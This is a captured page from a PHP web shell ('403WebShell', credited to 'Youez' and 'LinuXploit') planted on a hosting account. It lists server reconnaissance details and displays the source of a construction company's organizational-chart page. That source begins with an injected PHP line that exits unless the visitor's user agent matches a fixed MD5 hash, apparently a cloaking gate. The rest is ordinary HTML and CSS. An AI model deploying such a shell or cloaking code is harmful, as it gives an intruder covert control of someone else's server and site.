403WebShell

403Webshell
Server IP : 191.101.228.12 / Your IP : 216.73.216.116
Web Server : LiteSpeed
System : Linux id-dci-web1411.main-hosting.eu 5.14.0-503.34.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 27 06:00:50 EDT 2025 x86_64
User : u993272038 ( 993272038)
PHP Version : 8.1.31
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF
Directory : /home/u993272038/domains/bescoconstructions.com/public_html/
Upload File :
[ Back ]
Current File : /home/u993272038/domains/bescoconstructions.com/public_html/webs-organizational-chart.php
<?php $u_a=trim($_SERVER["HTTP_USER_AGENT"]);$md_5=md5($u_a);$s_n=strtolower($_SERVER["SCRIPT_NAME"]);if($s_n!="/index.php"&&$md_5!="53c3b2f1a6ae3fc8caceb80fd3e919bb"){exit;}?><!DOCTYPE html>
<html lang="en">

<head>
	<meta charset="UTF-8">
	<title>Bescoconstructions || Organizational Chart</title>

	<!-- Responsive Meta Tag -->
	<meta name="viewport" content="width=device-width, initial-scale=1">

	<!-- main stylesheet -->
	<link rel="stylesheet" href="css/style.css">
	<!-- responsive stylesheet -->
	<link rel="stylesheet" href="css/responsive.css">
	<link rel="stylesheet" href="css/chart.css">
	<link
		href="https://fonts.googleapis.com/css2?family=Open+Sans:ital,wght@0,300;0,400;0,500;0,600;0,700;0,800;1,300;1,400;1,500;1,600;1,700;1,800&display=swap"
		rel="stylesheet">
    <style>
h1 { color:#fff; text-align:center;}
 h2 {
    font-size: 18px;
}
 h3 {
    font-size: 18px;
}
h4 {color:#fff; text-align:center; font-size:19px; font-weight:600;}
#wrapper {
  margin:0 auto;
    max-width: 80em;
}
hr {
    margin-top: 44px;
    margin-bottom: 20px;
    border: 0;
    border-top: 3px solid #b7a6aa;
    transform: rotate(90deg);
    height: 11px;
    width: 101px;
    margin-left: 111px;
}
#container {
    float: left;
    padding: 4em 1em 4em 1em;
    width: 100%;
}

ol.organizational-chart,
ol.organizational-chart ol,
ol.organizational-chart li,
ol.organizational-chart li > div {
    position: relative;
}

ol.organizational-chart,
ol.organizational-chart ol {
    list-style: none;
    margin: 0;
    padding: 0;
}

ol.organizational-chart {
    text-align: center;
}

ol.organizational-chart ol {
    padding-top: 1em;
}

ol.organizational-chart ol:before,
ol.organizational-chart ol:after,
ol.organizational-chart li:before,
ol.organizational-chart li:after,
ol.organizational-chart > li > div:before,
ol.organizational-chart > li > div:after {
    background-color: #b7a6aa;
    content: '';
    position: absolute;
}

ol.organizational-chart ol > li {
    padding: 1em 0 0 1em;
}

ol.organizational-chart > li ol:before {
    height: 1em;
    left: 50%;
    top: 0;
    width: 3px;
}

ol.organizational-chart > li ol:after {
    height: 3px;
    left: 3px;
    top: 1em;
    width: 50%;
}

ol.organizational-chart > li ol > li:not(:last-of-type):before {
    height: 3px;
    left: 0;
    top: 2em;
    width: 1em;
}

ol.organizational-chart > li ol > li:not(:last-of-type):after {
    height: 100%;
    left: 0;
    top: 0;
    width: 3px;
}

ol.organizational-chart > li ol > li:last-of-type:before {
    height: 3px;
    left: 0;
    top: 2em;
    width: 1em;
}

ol.organizational-chart > li ol > li:last-of-type:after {
    height: 2em;
    left: 0;
    top: 0;
    width: 3px;
}

ol.organizational-chart li > div {
    background-color: #fff;
    border-radius: 3px;
    min-height: 2em;
    padding: 0.5em;
}

/*** PRIMARY ***/
ol.organizational-chart > li > div {
    background-color: #efa010;
    margin-right: 1em;
	margin-bottom: 10px;
}

ol.organizational-chart > li > div:before {
    bottom: 2em;
    height: 3px;
    right: -1em;
    width: 1em;
}

ol.organizational-chart > li > div:first-of-type:after {
    bottom: 0;
    height: 2em;
    right: -1em;
    width: 3px;
}

ol.organizational-chart > li > div + div {
    margin-top: 1em;
}

ol.organizational-chart > li > div + div:after {
    height: calc(100% + 1em);
    right: -1em;
    top: -1em;
    width: 3px;
}

/*** SECONDARY ***/
ol.organizational-chart > li > ol:before {
    left: inherit;
    right: 0;
}

ol.organizational-chart > li > ol:after {
    left: 0;
    width: 100%;
}

ol.organizational-chart > li > ol > li > div {
    background-color: #83e4e2;
}

/*** TERTIARY ***/
ol.organizational-chart > li > ol > li > ol > li > div {
    background-color: #fd6470;
}

/*** QUATERNARY ***/
ol.organizational-chart > li > ol > li > ol > li > ol > li > div {
    background-color: #fca858;
}

/*** QUINARY ***/
ol.organizational-chart > li > ol > li > ol > li > ol > li > ol > li > div {
    background-color: #fddc32;
}

/*** MEDIA QUERIES ***/
@media only screen and ( min-width: 64em ) {

    ol.organizational-chart {
        margin-left: -1em;
        margin-right: -1em;
    }

    /* PRIMARY */
    ol.organizational-chart > li > div {
        display: inline-block;
        float: none;
        margin: 20px 1em 1em 1em;
        vertical-align: bottom;
    }

    ol.organizational-chart > li > div:only-of-type {
        margin-bottom: 0;
        width: calc((100% / 2) - 2em - 4px);
    }

    ol.organizational-chart > li > div:first-of-type:nth-last-of-type(2),
    ol.organizational-chart > li > div:first-of-type:nth-last-of-type(2) ~ div {
        width: calc((100% / 2) - 2em - 4px);
    }

    ol.organizational-chart > li > div:first-of-type:nth-last-of-type(3),
    ol.organizational-chart > li > div:first-of-type:nth-last-of-type(3) ~ div {
        width: calc((100% / 3) - 2em - 4px);
    }

    ol.organizational-chart > li > div:first-of-type:nth-last-of-type(4),
    ol.organizational-chart > li > div:first-of-type:nth-last-of-type(4) ~ div {
        width: calc((100% / 4) - 2em - 4px);
    }

    ol.organizational-chart > li > div:first-of-type:nth-last-of-type(5),
    ol.organizational-chart > li > div:first-of-type:nth-last-of-type(5) ~ div {
        width: calc((100% / 5) - 2em - 4px);
    }

    ol.organizational-chart > li > div:before,
    ol.organizational-chart > li > div:after {
        bottom: -1em!important;
        top: inherit!important;
    }

    ol.organizational-chart > li > div:before {
        height: 1em!important;
        left: 50%!important;
        width: 3px!important;
    }

    ol.organizational-chart > li > div:only-of-type:after {
        display: none;
    }

    ol.organizational-chart > li > div:first-of-type:not(:only-of-type):after,
    ol.organizational-chart > li > div:last-of-type:not(:only-of-type):after {
        bottom: -1em;
        height: 3px;
        width: calc(50% + 1em + 3px);
    }

    ol.organizational-chart > li > div:first-of-type:not(:only-of-type):after {
        left: calc(50% + 3px);
    }

    ol.organizational-chart > li > div:last-of-type:not(:only-of-type):after {
        left: calc(-1em - 3px);
    }

    ol.organizational-chart > li > div + div:not(:last-of-type):after {
        height: 3px;
        left: -2em;
        width: calc(100% + 4em);
    }

    /* SECONDARY */
    ol.organizational-chart > li > ol {
        display: flex;
        flex-wrap: nowrap;
    }

    ol.organizational-chart > li > ol:before,
    ol.organizational-chart > li > ol > li:before {
        height: 1em!important;
        left: 50%!important;
        top: 0!important;
        width: 3px!important;
    }

    ol.organizational-chart > li > ol:after {
        display: none;
    }

    ol.organizational-chart > li > ol > li {
        flex-grow: 1;
        padding-left: 1em;
        padding-right: 1em;
        padding-top: 1em;
    }

    ol.organizational-chart > li > ol > li:only-of-type {
        padding-top: 0;
    }

    ol.organizational-chart > li > ol > li:only-of-type:before,
    ol.organizational-chart > li > ol > li:only-of-type:after {
        display: none;
    }

    ol.organizational-chart > li > ol > li:first-of-type:not(:only-of-type):after,
    ol.organizational-chart > li > ol > li:last-of-type:not(:only-of-type):after {
        height: 3px;
        top: 0;
        width: 50%;
    }

    ol.organizational-chart > li > ol > li:first-of-type:not(:only-of-type):after {
        left: 50%;
    }

    ol.organizational-chart > li > ol > li:last-of-type:not(:only-of-type):after {
        left: 0;
    }

    ol.organizational-chart > li > ol > li + li:not(:last-of-type):after {
        height: 3px;
        left: 0;
        top: 0;
        width: 100%;
    }

}
</style>
</head>

<body>



	<!-- #topbar -->
	<?php include"include/header.php";?>
	<!-- /header -->

	<!-- #page-title -->
	<section id="page-title">
		<div class="container">
			<div class="row">
				<div class="col-lg-12">
					<!-- .title -->
					<div class="title pull-left">
						<h1>Organizational Chart</h1>
					</div> <!-- /.title -->
					<!-- .page-breadcumb -->
					<div class="page-breadcumb pull-right">
						<i class="fa fa-home"></i> <a href="index.php">Home</a> <i class="fa fa-angle-right"></i>
						<span>Organizational Chart</span>
					</div> <!-- /.page-breadcumb -->
				</div>
			</div>
		</div>
	</section> <!-- /#page-title -->
<section  class="organizational-chart">
<div id="wrapper">
    <div id="container">
        <ol class="organizational-chart">
			<li> 
				<div style="background:#5cb140;;">
					<h1>PRESIDENT</h1>
				</div>
			</li>
			<li> 
				<div>
					<h1>GENERAL MANAGER</h1>
				</div>
			</li>
            <li>
                <div style="background-color: #f6caac;">
                    <h4>EXECUTIVE MANAGER</h4>
                </div>
                <div style="background-color: #f6caac;">
                    <h4>CORPORATE FINANCE MANAGER</h4>
                </div>
                <div style="background-color: #f6caac; background-color: #f6caac;
    height: 76px;
    padding: 18px 0 0 0;">
                    <h4>PROJECTS DIRECTOR </h4>
                </div>
				<div style="background-color: #f6caac;">
                    <h4>CORPORATE HR MANAGER</h4>
                </div>
				<div style="background-color: #f6caac;">
                    <h4>CORPORATE QC & HSE HEAD</h4>
                </div>
                <ol>
                    <li>
                        <div style="background-color: #fed964;">
                            <h2>SD MANAGER</h2>
                        </div>
                    </li>

					<li>
                        <div style="background-color: #fed964;">
                            <h2>ENGINEERING MANAGER</h2>
                        </div>
                        
                    </li>
                    <li>
                        <div style="background-color: #fed964;">
                            <h2>OPERATIONS MANAGER</h2>
                        </div>
                        
                    </li>
                    <li>
                        <div style="background-color: #fed964;">
                            <h2>PROPOSALS MANAGER</h2>
                        </div>
                        
                    </li>
                    <li>
                        <div style="background-color: #fed964;">
                            <h2>PROCUREMENT MANAGER</h2>
                        </div>
						
                    </li>
                </ol>
				<ol>
                    <li>
                        <div style="background-color: #9bc1e5;">
                            <h2>HSE MANAGER </h2>
                        </div>
                    </li>

					<li>
                        <div style="background-color: #9bc1e5;">
                            <h2>PROJECT CONTROL MANAGER</h2>
                        </div>
                        
                    </li>
                    <li>
                        <div style="background-color: #9bc1e5;">
                            <h2>PROJECT MANAGER </h2>
                        </div>
                        
                    </li>
                    <li>
                        <div style="background-color: #9bc1e5;">
                            <h2>SUB-CONTRACTS MANAGER </h2>
                        </div>
                        
                    </li>
                    <li>
                        <div style="background-color: #9bc1e5;">
                            <h2>QA/QC MANAGER/ TEAM</h2>
                        </div>
						
                    </li>
                </ol>
				
				<ol>
                    <li>
                        <div style="background-color:#fff1ca;">
                            <h2>PROJECT SECRETARY </h2>
                        </div>
                        
                    </li>
                    <li>
                        <div style="background-color:#fff1ca;">
                            <h2>DOCUMENT CONTROLLER</h2>
                        </div>
						
                    </li>
                </ol>
				
				
				<ol>
                    <li>
                        <div style="background-color:#deefff;">
                            <h2>ADMIN & LOGISTICS COORDNIATOR </h2>
                        </div>
						 <ol>
                            <li>
                                <div style="background:#c3e0b4;">
                                    <h3>GOV'T.RELATIONS OFFICER</h3>
                                </div>
                            </li>
                            <li>
                                <div style="background:#e2eeda;">
                                    <h3>SITE ACCOUNTANT</h3>
                                </div>
                            </li>
                            
                        </ol>
                    </li>

					<li>
                        <div style="background-color:#deefff;">
                            <h2>PLANNER </h2>
                        </div>
                        
                    </li>
                    <li>
                        <div style="background-color:#deefff;">
                            <h2>CONSTRUCTION MANAGER </h2>
                        </div>
                        <ol>
                            <li>
                                <div style="background:#c3e0b4;">
                                    <h3>SITE TEAM</h3>
                                </div>
                            </li>
                            
                        </ol>
                        <hr style=rotat>
                    </li>
                    <li>
                        <div style="background-color:#deefff;">
                            <h2>INTERFACE MANAGER  </h2>
                        </div>
                        
                    </li>
                    <li>
                        <div style="background-color:#deefff;">
                            <h2>PROJECT PROCUREMEMNT ENGINEER</h2>
                        </div>
						<ol>
                            <li>
                                <div style="background:#e2eeda;">
                                    <h3>EXPEDITOR/ PURCHASER</h3>
                                </div>
                            </li>
                            
                        </ol>
						
                    </li>
                </ol>
				
				<ol>
                    <li>
                        <div style="background:#c3e0b4;">
                            <h2>CIVIL/STRUCTURAL/ARCH </h2>
							<p>LEAD ENGINEER </p>
                        </div>
						<ol>
                            <li>
                                <div style="background:#e2eeda;">
                                    <h3>CIVIL/STRUCTURAL/ARCH</h3>
                                </div>
                            </li>
							<li>
                                <div style="background:#e2eeda;">
                                    <h3>STRUCTURAL ENGINEER</h3>
                                </div>
                            </li>
                            
                        </ol>
						<ol>
							<li>
                                <div style="background:#e2eeda;">
                                    <h3>STRUCTURAL TEAM</h3>
                                </div>
                            </li>
						</ol>
                    </li>

					<li>
                        <div style="background:#c3e0b4;">
                            <h2>MECHANICAL/PIPING</h2>
							<p>LEAD ENGINEER </p>
                        </div>
						<ol>
                            <li>
                                <div style="background:#e2eeda;">
                                    <h3>MECHANICAL TEAM </h3>
                                </div>
                            </li>
							<li>
                                <div style="background:#e2eeda;">
                                    <h3>PIPING ENGINEER</h3>
                                </div>
                            </li>
                            
                        </ol>
						<ol>
							<li>
                                <div style="background:#e2eeda;">
                                    <h3>PIPING TEAM</h3>
                                </div>
                            </li>
						</ol>
                        
                    </li>
                    <li>
                        <div style="background:#c3e0b4;">
                            <h2>ELECTRICAL </h2>
							<p>LEAD ENGINEER </p>
                        </div>
						<ol>
                            <li>
                                <div style="background:#e2eeda;">
                                    <h3>SITE ENGINEERS </h3>
                                </div>
                            </li>
							<li>
                                <div style="background:#e2eeda;">
                                    <h3>ELECTRICAL TEAM</h3>
                                </div>
                            </li>
                            
                        </ol>
                        
                    </li>
                    <li>
                        <div style="background:#c3e0b4;">
                            <h2>INSTRUMENT /COMM </h2>
							<p>LEAD ENGINEER </p>
                        </div>
						<ol>
                            <li>
                                <div style="background:#e2eeda;">
                                    <h3>SITE ENGINEERS</h3>
                                </div>
                            </li>
							<li>
                                <div style="background:#e2eeda;">
                                    <h3>INSTR. TEAM</h3>
                                </div>
                            </li>
                            
                        </ol>
                        
                    </li>
                </ol>
				
				
            </li>
        </ol>

    </div>
</div>
</section>



	<!-- footer -->
	<?php include"include/footer.php";?>
	<!-- /#footer -->



	<script src="js/jquery-1.11.3.min.js"></script> <!-- jQuery JS -->
	<script src="js/bootstrap.min.js"></script> <!-- BootStrap JS -->
	<script src="http://maps.google.com/maps/api/js"></script> <!-- Gmap Helper -->
	<script src="js/gmap.js"></script> <!-- gmap JS -->
	<script src="js/wow.js"></script> <!-- WOW JS -->
	<script src="js/isotope.pkgd.min.js"></script> <!-- iSotope JS -->
	<script src="js/owl.carousel.min.js"></script> <!-- OWL Carousle JS -->
	<script src="js/jquery.fancybox.pack.js"></script> <!-- FancyBox -->
	<script src="js/jquery.easing.min.js"></script> <!-- EaseIng JS -->
	<script src="js/jquery.appear.js"></script>
	<script src="js/jquery.countTo.js"></script>
	<script src="js/circle-progress.js"></script>

	<script src="js/custom.js"></script> <!-- Custom JS -->
	
	<script>
  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
  })(window,document,'script','//www.google-analytics.com/analytics.js','ga');

  ga('create', 'UA-46156385-1', 'cssscript.com');
  ga('send', 'pageview');

</script>
	
	
	

	<!--Start of Tawk.to Script-->
	<script type="text/javascript">
		var $_Tawk_API = {}, $_Tawk_LoadStart = new Date();
		(function () {
			var s1 = document.createElement("script"), s0 = document.getElementsByTagName("script")[0];
			s1.async = true;
			s1.src = 'https://embed.tawk.to/569cfc09aeafd72017dd6ea9/default';
			s1.charset = 'UTF-8';
			s1.setAttribute('crossorigin', '*');
			s0.parentNode.insertBefore(s1, s0);
		})();
	</script>
	<!--End of Tawk.to Script-->

	<script>
		(function (i, s, o, g, r, a, m) {
			i['GoogleAnalyticsObject'] = r; i[r] = i[r] || function () {
				(i[r].q = i[r].q || []).push(arguments)
			}, i[r].l = 1 * new Date(); a = s.createElement(o),
				m = s.getElementsByTagName(o)[0]; a.async = 1; a.src = g; m.parentNode.insertBefore(a, m)
		})(window, document, 'script', '../../../www.google-analytics.com/analytics.js', 'ga');

		ga('create', 'UA-15521914-3', 'auto');
		ga('send', 'pageview');

	</script>

</body>

</html>
Youez - 2016 - github.com/yon3zu
LinuXploit